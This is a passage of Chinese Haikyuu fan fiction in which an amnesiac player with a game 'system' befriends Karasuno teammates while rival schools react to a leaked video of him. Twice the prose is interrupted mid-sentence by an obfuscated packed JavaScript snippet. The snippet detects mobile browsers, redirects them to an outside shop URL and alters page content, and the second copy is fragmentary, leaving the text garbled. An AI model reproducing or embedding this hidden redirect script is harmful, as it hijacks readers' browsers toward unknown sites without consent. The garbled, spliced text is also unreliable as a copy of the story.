所以夏树和真即便在有了空窗期的情况下,也很快上手了这个方法,并且同样废寝忘食。当然还有重要的一点就是——系统加得太多了! 等到回过神来,夏树和真转过头,就看见日向亮晶晶的眼神。 “怎么了?”夏树和真问。 “和真好厉害!真的好厉害!” 夏树和真看着他。 他不觉得自己刚才讲了什么特别了不起的东西。他只是把自己理解的东西用另一种方式说出来了而已。 但日向翔阳看他的眼神,像是在看什么了不起的人。 在很多时候都会毫无顾忌地接受表扬和称赞,甚至自己也会一脸自然地认为自己就是最厉害的世纪第一的天才大人。就是这样的夏树和真此刻却别过了脸。 “和真是什么时候开始打排球的?” 夏树歪了歪头,像是在认真地搜索自己的记忆。那个从车祸之后就变得空空荡荡的地方。 “唔……小时候有打过一段时间,不过之后就好像放弃了。”他想了想,“国中的话……啊忘记说了,其实我之前出车祸休学了一年,国中那段时间的记忆好像全都不见了。” 他说这话的时候语气太平静了,平静到像是在说今天天气不错。日向的笑容僵在脸上,嘴角大大的弧度变成了一个不知所措的表情。 “对、对不起!”日向猛地坐直了身体,两只手不知道该放在哪里。 “为什么翔阳要道歉?”夏树转过头看着他,表情很困惑,“又不是你撞的我。” 日向张了张嘴,没有说话。他是知道这件事的,但因为知道方式过于乌龙,更何况,车祸,仅仅这两个字都显得残酷,他也很难和夏树和真提起这件事。 夏树看着他那副不知为何一脸难过沉重的表情,用着轻松的语调说:“不过我想我国中应该没有再打排球了。或许只是单纯地在享受青春也说不定。” “和真有想过找回记忆吗?” “唔。”夏树托着下巴,认真思考了几秒钟,“要听真话吗?” “……想听,如果和真可以告诉我的话!” “其实意外的无所谓。” 夏树靠在桌子的边上,把双手枕在脑后,眼睛看着天花板上那盏日光灯。灯管有点老了,灯的亮度相对于他家里的有些暗。 “记忆这种东西,就算弄丢了,再创造不就行了?如果是珍贵到不可以丢失的记忆的话,也总有一天会回来找我的。我是这样想的。” 日向翔阳看着他。 夏树和真的侧脸在灯光的笼罩下呈现出一种近乎透明的白,他的睫毛很长,垂下去的时候在眼下投下一小片柔和阴影。 “所以,”夏树转过头来,“不要露出这样的表情。这没有什么的,因为我还是作为夏树和真,像这样站在这里,站在翔阳的面前,不是吗?” 日向眨了眨眼睛。 一滴眼泪突然从他的眼角掉了出来。 “为、为什么要哭?等等——!”夏树和真猛地坐直了身体,两只手在半空中胡乱地晃动了一下。 日向翔阳用袖子狠狠地擦了一把脸。 “我只是觉得,”日向吸了吸鼻子,声音闷闷的,带着浓重的鼻音,“和真果然好厉害。是我见到的除了小巨人以外最厉害的人!” 夏树愣了一下。 “就算夸奖我也没有什么好处哦。”他笑了。那笑容不大,只是嘴角微微弯了一下,但日向在泪眼朦胧中看到了,那果然是一个再好看不过的笑容。 “开玩笑的,其实超级开心。”夏树和真说。 日向用力地吸了一下鼻子,把眼眶里剩下的泪硬生生地逼了回去。他抬起头,用一种极其认真的表情看着夏树和真。 “如果和真有需要我帮忙的地方,请尽管说!” 夏树歪了歪头,想了一会儿。 “嗯——”他伸出食指,点了点日向的额头,轻快地说,“那就叫一声前辈。” “和真前辈!”日向翔阳毫不迟疑,大声地说道。 “……嗯。” 17.第十七章 青城早训。 体育馆里回荡着球鞋摩擦地板的声音和排球落地的响声,青叶城西排球部的训练量一直很大,哪怕只是早训,大部分部员的体能几乎见底了,双腿像是灌满了铅一样沉重。 小野翼靠在墙边,双手撑在膝盖上。尽管他身上已经出了不少汗,但是此刻比起累,他更觉得困,嘴巴不受控制地打了一个长长的哈欠。 “喂。”一旁的好友用手肘顶了他一下,“你昨晚干什么去了?从刚才开始就一直打哈欠。” 小野翼揉了揉眼睛,说到这个脸上倒是来了点精神。他凑近好友,压低声音说:“上次发的那个视频,爆火了。” “什么视频?” “就是那个踢馆的视频啊。”小野翼的语气很是得意。 好友的动作顿了一下,眉头皱起,说:“你当时不是因为这个差点被竹田那家伙给揍了吗?没有删掉吗?还上传了?” “呃……我自动备份了。竹田也是脑袋有问题,又不是拍他,先前还跟个病秧子一样结果揪住我的时候脸色恐怖的要死,我还以为他真的会宰了我。” “那你还……” “反正都差点被揍了,我已经把他屏蔽了,而且上传的只是一点片段而已。”小野翼摆了摆手。 “爆火……”好友的声音压得更低了,“你拍到那个人的脸了?” 小野翼的表情变得有些不自然,他挠了挠后脑勺,目光飘向一边,小声说道:“唔嗯,真的就一点啦!就是当时他发球的那几十秒而已。而且拍得很混乱,也、也没有拍得很清楚。当时那么多人围着,我又是在外围拍的。” 好友看着他,半晌没有说话。 “有人会认出来的吧,”好友终于开口,“毕竟那张脸……” 说到这个,小野翼的表情更微妙了。他从口袋里掏出手机,手指在屏幕上划了几下,翻出私信界面。 “说到这个,确实有些奇怪。” “什么奇怪?” “有好些东京IP的一连发数十条评论,自己秒删后,一股脑地来私信我,问了很多奇怪的东西。” “哈?” 好友把脑袋凑过来,看着小野翼手机屏幕上的私信列表,眼睛越睁越大。 第一个私信。 【哈哈,总算出现了吗?】 【不过,劝你快点把视频删了比较好哦。】 【不然那些家伙可要来了。】 第二个私信。 【你怎么会拍到这个视频?】 【你是谁?】 【宫城的?】 【宫城哪个学校?】 【我会找到的】 第三个私信。 【未经允许盗摄他人是非法的。】 【请尽快删除视频!】 【如果有人因此受伤,我是不会放过你的。】 第四个私信。 【宫城?】 【他怎么会去宫城?】 【你是他的谁?】 【谁允许你拍的?】 好友看完这些私信,倒吸了一口凉气:“呜哇……” “昨天光是处理私信都快累死我了。”小野翼叹了口气。 “那你还不快点删?” “拜托,我好不容易有一条火了。”小野翼把手机收回去,继续道:“而且昨天我把视频压缩画质重新上传了。这次脸都糊得看不清楚了,重要的地方我也都打码了。没事的没事的。” “在说什么?” 一个声音从身后响起,清亮里声线里带着一点漫不经心的笑意。 两个人同时僵住了。 及川彻不知道什么时候出现在了他们后面,他的运动服拉链拉到一半,看上去是刚做完拉伸过来拿水瓶的。 小野翼手忙脚乱地想把手机关掉,但是手指在屏幕上戳了两下没戳中,手机直接滑了出去。 啪嗒。 手机摔在地上,屏幕朝上,正好亮着那条私信界面。 及川弯下腰,捡起了手机。 他低头看了一眼屏幕。 及川彻面上的笑容没什么变化,只是那原本应该随和的气场却骤然凝滞了,他看了几秒钟,然后把手机抛给了小野翼。 “删了。”及川说。 他的语气依然是那种轻飘飘的,不正经的样子,就像在说着什么吃饭喝水之类的日常琐事,但此时此刻没有人敢不把他的话当一回事。 小野翼接住手机的双手有些颤抖。 及川转身走了,一边走一边把运动服的拉链拉到最上面,朝着球场的方向喊了一句:“休息结束啦,还差一点,大家打起精神来,不要偷懒哦——尤其是那边不知道在看什么的小岩!” “混蛋及川!我在看信息!” “哼哼哼,什么信息要看这么久,啊~该不会小岩的春天终于……” “及川你这家伙……!” 两个前辈的身影远去。 两个一年级生站在原地,面面相觑。 …… 东京,音驹。 黑尾铁朗靠在社团活动室的椅子上,两条长腿交叠着搭在桌沿,手机在他修长的手指间转了又转。 孤爪研磨坐在对面,双手拿着游戏机,手指按键的速度快得只能看到残影。屏幕上的两个小人在迷宫一样的场景里快速移动,身后还追着一串敌人。 “不回复了吗?”黑尾若有所思。 研磨没有抬头,但手上的操作顿了顿。 “不过这家伙现在光是处理私信,应该就相当焦头烂额吧。”黑尾自顾自地说着,又拿起手机,翻出了那个视频。 画质已经被压缩得很厉害了,人脸模糊得像隔了一层水雾。但黑尾知道,认识的人还是会认出来。 那个人发球的姿势。 那个起跳的高度。 那个手臂挥下来的角度。 黑尾盯着屏幕,嘴角慢慢翘了起来。 “小黑。”研磨淡淡道。 “嗯?” 研磨的游戏机上弹出了“WIN”的特效,彩色的烟花彩带在屏幕上炸开。他放下游戏机,抬起头,那双猫一样的双眼直勾勾地盯着黑尾。 “很期待吗?” “哈哈,那是当然的吧。” 黑尾看向研磨,畅快地笑着,像是一直以来的疑问终于得到解答一般,他说:“你不也是吗?研磨。” 孤爪研磨垂眼,视线停留在屏幕上的黄发像素小人和小伙伴拉着手,蹦蹦跳跳欢呼的结算画面。 “唔。” 他模糊地应了一声。 …… 白鸟泽。 “早餐再不吃就要凉了。” 牛岛若利端着早饭,坐在了天童觉面前。他看着天童面前明显还没有动的早餐,提醒道。 天童一只手撑着下巴,另一只手有一下没一下地翻动着手机屏幕。他的腿在桌子下面晃来晃去,整个人散发着一种“我今天心情不错”的气息。 “啊——若利君,”天童拖长了声音,眼睛从手机屏幕上移开,看向牛岛,“早餐什么的,待会再吃也没有关系。比起这个,我发现了一个好玩的事情!若利君有兴趣吗?想知道吗?哼哼~” 他笑得一脸神秘。 牛岛的表情没什么变化。他坐在天童对面,一口一口地吃着饭。他的面前是传统的日式早餐,白饭、味增汤、烤鱼、玉子烧、渍物,每一样都摆得整整齐齐。 “还是一如既往呢,若利君。”天童歪着头看了看牛岛的餐盘,又看了看自己的。 “天童前辈,说的是昨晚那个视频吧。”白布贤二郎端着饭从后面路过,声音没什么起伏,“牛岛前辈肯定没有兴趣的。” “啊,白布君~欢迎欢迎。”天童的眼睛亮了一下,拍了拍自己旁边的位置,“来坐我旁边吧。” 白布看了牛岛一眼。 牛岛也停下了他吃饭的动作,朝着白布点了点头。 “……打扰了。”白布端着餐盘,在天童旁边坐了下来。他的坐姿很端正,背挺得笔直,筷子搁在碗沿上,动作一丝不苟。 “嗯?视频?前辈你们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天童托着腮,看着那两个一前一后离开的背影,嘴角的笑意变得更深了一些。 “真是有精神呢,大家。” “啊。” 这样回应着的牛岛,却像是感受到了什么一样,视线微妙地停留在刚刚一直没感兴趣的手机上。 注意到牛岛视线的天童,用着夸张的语气惊讶道:“嗯?若利君难道还是有些在意刚刚说的视屏吗?真是稀奇——” “不管是谁,白鸟泽都会打败他们。” 牛岛收回了视线,平静地说道。 “不愧是若利君~” 天童觉就这样看着牛岛吃完后离开的身影,拖长着声音似是自言自语道:“但是就是这样的若利君,才会反而更想让人看到他情绪波动的时候呢~不过这个世界上,真的存在这样的人或事吗?” 他嘴角的弧度越扩越大,手机抵在嘴角上:“我很期待这一天的到来哦,若利君。” “你也是吧,总是在默默等待着什么的若利君?” …… “阿嚏!” 夏树和真摸了摸鼻子,碎碎念:“今天早上连着打了两三个喷嚏了,难道是凉太那家伙太想我了吗?” “那边的,站住!” “啊,糟糕!” 夏树和真看着不知从哪里窜出来的教导主任,将滑落到臂弯的背包甩到背上,然后干脆利落地爬上了树。 “夏树同学!夏树和真同学!我已经记住你的名字了!你以为自己已经迟到了多少次了吗?喂——到底有没有听我说……!不要做这种危险的动作!快点,停下来!” 轻车熟路地上树翻墙,一气呵成的夏树和真看着跑来的气急败坏的主任招了招手。 “就这样,主任,拜啦!” “上次的那两个家伙也是,再加上你也是,你们排球部的人到底是怎么回事……!” 18.第十八章 高三教室。 菅原孝支撑着脸,手肘抵在桌面上,整个人歪歪斜斜地靠在窗户那一侧,他拿着笔却一个字都没有写,目光落在了校门口不远的位置,笑得懒洋洋的。 校门口,夏树和真正翻墙而过。 那个姿势称得上赏心悦目,只见他单手撑住墙头,身体腾空,修长的腿在空中划出一道干净的弧线,校服下摆被风掀起一角,整个人像是在拍什么杂志的封面,轻巧落地,几乎没有发出多余的声音。 当然,如果忽略他离教导主任只有数米远这个事实,这简直可以算得上动作电影的模范。 教导主任猛地冲出来,嘴里喊着什么,头顶上的假发似是要迎风飘扬,但夏树和真连头都没回,拔腿就跑。 这一幕几乎要成为乌野高中的日常节目了。最近这个时间点,只要稍稍转头往校门口这么看一眼,大概率就能赶上夏树的迟到现场。主角自然是已经成为乌野招牌的夏树和真同学,而追逐的人选则是那个每天早上试图守株待兔的主任。 菅原孝支看着夏树和真被主任追着满校园跑的样子,趴在桌面上,差点笑出了声。他的肩膀颤抖着,手里的笔终于从指间滑落,咕噜咕噜滚到了一边。 “真希望他这种体力能用在正式比赛里。” 泽村大地略显无奈的声音从前方传来,目光同样追随着底下那个正在高速移动的身影。 “哈哈,大地,你也在看啊。” “不如说没在看的人才是少数吧。”大地叹了口气。 他说的是实话。不管上没上课,此时大部分的学生几乎都若有若无地往楼下瞟。不是所有人都在明目张胆地看,但竖起耳朵听动静,偷偷往外瞄一眼的人也不在少数。 底下的追逐还在继续。夏树和真从花坛拐进了教学楼侧面的那条窄道,主任跟进去的时候慢了半拍,等他从另一头出来,已经看不到夏树和真的影子了。 大地一直看着,直到看到那个身影从教学楼另一侧的入口闪了进去,才终于松了一口气,说道:“如果不想被抓的话,下次应该要看好时间。” “或许是已经看好了时间,才会每次都踩在迟到的线上。” 大地转过头看他。 菅原笑着,一手撑着脸,一边慢慢道:“那孩子,也在用着自己的方式拼命努力呢。” 泽村大地想起了之前武田老师和他们叮嘱的,关于那孩子的一些事情。 仅仅光是脸,就足够闪闪发亮的一年级“新生”,如果不是命运弄人,他们或许能够更早见面,然后每天一起训练,比赛的话,有了夏树的加入,他们或许能够去到别的不同的高度?但无论是哭还是笑,喜悦或是不甘,总归是和大多数迈入高中的新生一样,在新的起点上迈入一个新的生活,或许这其中仍然会充满悔恨和痛苦,一定不会尽是美好的事物。 但这一定是会被称之为圆满的高中三年时光。 可是,夏树和真的一年时间是在无意识的空白中度过了,尽管经历了许多难过的事情,但是出现在他们面前的夏树和真,仍然是一个很好的孩子。 不论是高年级,还是本年级,他似乎都能打好关系,偶尔会展露出意外沉稳冷静的一面,但是大部分都是个把喜怒哀乐都展现在脸上的人。 虽然脑回路有些异于常人,但是比起住院一年的经历,如今这样似乎好多了。 而且,最重要的,他是一个不吝啬努力的孩子。 在旁人眼中虽然嘴上自称天才,但是于之不遑多让的是他的高度自律。 在这一点上,或许和影山很合得来。 社团的前辈最近也经常会看到那三人一起行动的样子。 日向的性格倒是不意外,只是影山竟然能和人这样亲近倒确实少见,而且还有个嘴硬的月岛也是。 自从一年级的大家加入后,排球部的氛围似乎也焕然一新。 泽村大地从中察觉出了一种前所未有的活力,这种让人心潮澎湃的活力,让大地不禁下意识道:“如果西谷和旭在就好了。” “他们一定回来的,大地。” 菅原孝支说的很确信。 “是啊。”大地说。 …… 教室的时钟指向九点十五分的时候,走廊里传来了一阵轻微的脚步声,然后是教室后门悄悄被拉开的声音。夏树和真的脑袋从门缝里探进来,他的眼睛在教室里扫了一圈,对上了日向翔阳的视线,然后朝他咧嘴笑了一下。 日向冲他比了个手势,夏树猫着腰溜到了自己的座位上,顺利抵达座位,周围的同学都心知肚明,但都默默当做没看见,甚至台上的班主任也只是低头翻页的手顿了一下,然后就一脸自然地转身继续写板书了。 在智商加到一定程度后,脑袋变得灵光不少的夏树和真明白了一件事情。 这件事情和他从书包里掏出的国三数学有很大关系。 从国一到国三,是这阵子夏树和真挑灯夜读后的凝满血泪的成果。虽然说上课挂机是加属性点,但这并不意味着课本的知识直接进入脑袋中,该不会的还是不会,除非夏树和真想挑战在考场对着题目现学现做,不然他还是要老老实实像刷排球熟练值一样,刷课本知识。 在惊恐地发现这一事实的当晚,夏树和真作为玩家想要拿遍所有第一的心差点摆烂了,但是系统弹出的奖励,让他默默认栽。 【支线:在第一次期中考试中获得校级第一名】 【奖励:学霸光环x1】 【装备:学霸光环(乌野版)】 【描述:(一阵劲爆的电吉他)戴上它!你就是当之无愧的天才!!想要摆脱限制吗?!天才大人!想要无论走在哪里,都是其他眼中高智商的代表呢!那就力争上游吧!天才大人!我们智慧的脚步从来不会停留在区区一次考试!你那无与伦比的样貌,自然要配上同样无与伦比的智慧!!前进吧,天才大人!这只是你的一小步,但却是人类的一大步!!(一阵劲爆的电吉他)】 天才大人夏树和真开始狂暴的学习模式,一眨眼就到了午休。 虽然夏树感到时间的流速快,大概也行可能很大一部分原因在于这小子本身一大早就开始迟到。 午休的话,除去愉快的便当时间,当然还有一件重要的事情。虽然【伙伴协同】暂且只能添加一人,但是夏树和真自然也没有漏掉影山。他早在比赛的时候就认定了的小伙伴。要用漫画类比的话就是主角团。是伙伴那当然就要一直一直在一起。 要问为什么?漫画里都是这样的啊。 一年级的教室分布在同一条走廊上,从日向的教室走到影山的教室只需要拐一个弯。夏树走在前面,日向跟在旁边,两个人的步伐都很快。 快到影山教室门口的时候,夏树和真听到了几个人的说话声。 “……那个影山,听说脾气很差,之前在他国中的时候就把队友得罪光了。” “真的假的?” “真的啊,王者大人嘛,一个人打六个人的那种。我国中有一个同学就是和他一个社团的,听说当时影山国三的时候队内气氛就闹得很僵了,这种人到了乌野估计也待不久吧。” “也是,谁愿意跟那种人做队友啊。” “哈哈哈,也不一定,或许怪人就是会互相吸引——” 夏树和真停下了脚步。 日向也停下了,他的眉头皱了起来,嘴唇动了动,想说什么,但夏树已经先一步拉开了教室的门。 “影山同学在教室里吗?” 夏树和真的声音不大,但足够让那几个说话的人听见。 那几个人转过身来,刚刚还哈哈大笑的脸变成了被抓包时的慌张。但当他们看清了说话的人是谁之后,那种慌张又变成了另一种层次的局促和尴尬。其中一个人涨红了脸,嘴巴嚅嗫着像是想要喊着什么。 “好像是出、出去了……”有一个人指了指教室外面,声音明显比刚才低了很多。 “好。”夏树点了点头。 那几个人松了一口气,刚刚还僵硬的肩膀微微放松下来。 然后夏树和真沉下了脸。 他的表情变化不大,只是平常嘴角微微弯起的弧度消失了,但不过是这一点的变化,就让他整个人和平常天差地别。 “我最讨厌这种行为。”他说。 那几个人张了张嘴,想要解释什么,但夏树和真已经转头离开了。日向跟在后面,路过那几个人的时候狠狠地瞪了他们一眼。 他们是在自动贩卖机前找到了影山。 影山飞雄正打算投币。 夏树和真走过去的时候,刚好看到一枚硬币从影山的指缝间滑了出去,叮叮当当地滚到了底下。 “我来。”夏树蹲下来,伸手去够那枚滚到贩卖机下面的硬币。他的手指和那硬币只差一点距离。 “能够到吗?”同样蹲下来,默默看着夏树和真的动作的影山说。 “没问题!” 夏树和真灵机一动掏出自己仅存的50圆硬币的巨款,想要够到那个即便是在黑暗中也闪闪发光的100圆,结果不知为何指尖一麻,自己的硬币滚到了100圆上。 “啊啊啊啊,我唯一的硬币啊!” 夏树和真绝望了。 “没事,我来!” 日向翔阳撸起了袖子,蹲下来打算给自己的两个小伙伴抓硬币。 结果三人忙活到了最后,看着各自空空如也的掌心,沉默了几秒。 “还是回去吧,人类就算一天不喝牛奶也不会因此长不高的。”夏树和真叉着腰,说。 “……就算不喝也会长高的,牛奶只是促进因素。”影山说。 “骗人……就算喝了也不会长高的。”日向翔阳泪流满面。 “笨蛋,那是你吧。” “翔阳,没问题的,我们现在还在发育期,要从现在开始呢!” “说得也是!”日向翔阳瞬间振作。 于是三人组空手而归。 …… 乌野体育馆。 各种混杂的声音,人声,球弹在地面上的声音,鞋子在地面摩擦的声音……填满了整个场馆。 “马上就是和青城的比赛了,大家拿出干劲来!来!再来十组鱼跃!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554039|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好的!!” 在热血沸腾的体育馆里,夏树和真瘫软在角落里。 “喝水了吗?” 菅原孝支走到身旁,然后缓缓坐下,手上拿着两个水瓶。 夏树连摇头的力气都没有,发出一声诡异的气音。 “还是喝一点比较好。现在出了那么多汗,要注意补水。” 夏树和真目移。 虽然这段时间复健,体力虽然相比起出院那会有了不小的进步,但是也只是相对住院一年的人来说的,而现在他的体力还是在普通高中生平均值以下。 如果只是慢跑,倒是可以按照自己的步骤来调整,倒也没有那么困难。 而现在这种正式的社团活动,节奏都比较紧凑急促。 各种不同位置的练习,看位,走位思考,还有因为攻手定位的剧烈的运动量。 完整的练习赛只能撑一局,然后中途下场瘫倒的夏树和真安详地闭上了眼睛。 “天才大人有自己的节奏,不是吗?” 一旁中途休息的月岛萤喝了一口水,瞥了一眼夏树,语气里带着一贯的嘲讽。 夏树和真对此……毫无反应。 他甚至都没听清楚。 出汗量比想象中还要严重。之前在练习的时候身上是热的,现在黏在背上的则是冷汗。夏树和真皱着眉,尽量调整自己的呼吸。 但是胃里涌上来的反胃感和随之而来的晕眩感让他无意识地抿紧了双唇。 有些不适应夏树这种安静,同样皱起了眉头的月岛看向了夏树。他一开始还以为夏树是不想理人,但敏锐地发现了夏树和真的状态有些不正常。 一直观察着的菅原孝支也发现了。他握住夏树的手,手掌的温度比正常体温要冷。菅原半强迫地捧着他的脸,让他抬起头来。 汗湿的发黏在脖颈和侧脸上。夏树闭着眼睛,呼吸极力调整但还是略带急促 “现在什么感觉?”菅原的声音不大,但很稳。 “晕。” “来喝点水。” 菅原看向月岛,“月岛,抱歉你能扶一下和真吗?” 月岛无声地咋了一下舌,但还是自觉地走到了夏树身后,让他的身子靠向自己。夏树的后背贴上来的那一刻,月岛皱了一下眉。 他不着痕迹地用指尖测了测夏树和真后颈的温度。 菅原捏着夏树的脸,把水瓶口凑到他的嘴边。夏树勉强喝了两口,水从他的嘴角溢出来一些,顺着下巴滑下去。 “要去医务室吗?”菅原问。 夏树摇了摇头。 “身体不适的人在这里逞什么强?”月岛的声音从头顶传下来,语气不好,但扶着夏树肩膀的手没有松开。 夏树和真自觉地在月岛身上找了一个合适的位置,靠得更舒服了一点后,他说:“没事的,只是体力条清空了而已。” “你以为现实是游戏吗?” “不是吗?” “天才大人的想法平民还是不能理解的。” 菅原没有参与他们的拌嘴。他从口袋里摸了摸,掏出一块巧克力,剥开包装纸,递到夏树嘴边。 “来,张嘴。” 夏树顺从地张开嘴,咬了一口。嚼了两下之后,他的眼睛忽然亮了一点。 “唔……好甜!” “是巧克力。幸好口袋里还有一块。”菅原看着他,“好一点了吗?” “嗯。”夏树点了点头,然后弯起眼睛笑了一下,“谢谢孝支。” 月岛扶着夏树肩膀的手顿了一下。 “……啧,直呼名字啊。” 夏树和真仰起头,看向月岛。 “也谢谢萤。”夏树说。 月岛的眼皮跳了一下。 “……我们很熟吗?” “因为想打好关系,直接叫名字是最快的吧?” “我可不想和你打好关系。” 月岛说完这句话,从包里掏出一条干净的毛巾,直接扔到了夏树脸上。 “擦一擦吧,天才大人。” 月岛转身跑回了球场,他的背影很快就回到了正在练习的队伍里。 “哎呀,真是不坦率啊,月岛。”菅原笑着说。 “嘛,也有这样性格的孩子。”夏树用月岛的毛巾擦着脸上的汗,声音闷在毛巾后面,听起来有些含糊。 “说这样的话像是老爷爷哦。”菅原顿了顿,“话说,和真刚才一脸若无其事地换称呼了呢。” 夏树把毛巾从脸上拿下来,歪了歪头。 “因为想打好关系?”他想了一下,又说,“而且我其实是17岁。” “生日是在?” “7月。” “好的,真遗憾。”菅原笑了,“我是6月,不管是年级还是年龄都比和真大哦。” 夏树的嘴巴微微张开,然后闭上了。 “唔唔……孝支前辈。” “嗯嗯,好孩子。”菅原伸手揉了揉他的头发。 “总觉得好像输了。” “嗯?你说什么?” “……没什么,孝支前辈”